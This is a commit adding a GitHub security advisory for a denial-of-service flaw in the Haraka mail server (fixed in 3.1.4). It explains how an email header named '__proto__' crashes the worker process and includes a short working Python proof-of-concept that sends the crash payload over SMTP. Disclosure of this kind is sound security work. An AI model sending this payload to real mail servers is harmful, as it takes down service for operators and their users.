Publish GHSA-xph3-r2jf-4vp3

Author: advisory-database[bot]

advisories/github-reviewed/2026/04/GHSA-xph3-r2jf-4vp3/GHSA-xph3-r2jf-4vp3.json

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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-xph3-r2jf-4vp3",
+  "modified": "2026-04-01T22:56:09Z",
+  "published": "2026-04-01T22:56:09Z",
+  "aliases": [
+    "CVE-2026-34752"
+  ],
+  "summary": "Haraka affected by DoS via `__proto__` email header",
+  "details": "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) => logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "Haraka"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "3.1.4"
+            }
+          ]
+        }
+      ],
+      "database_specific": {
+        "last_known_affected_version_range": "<= 3.1.3"
+      }
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/haraka/Haraka"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-248"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-04-01T22:56:09Z",
+    "nvd_published_at": null
+  }
+}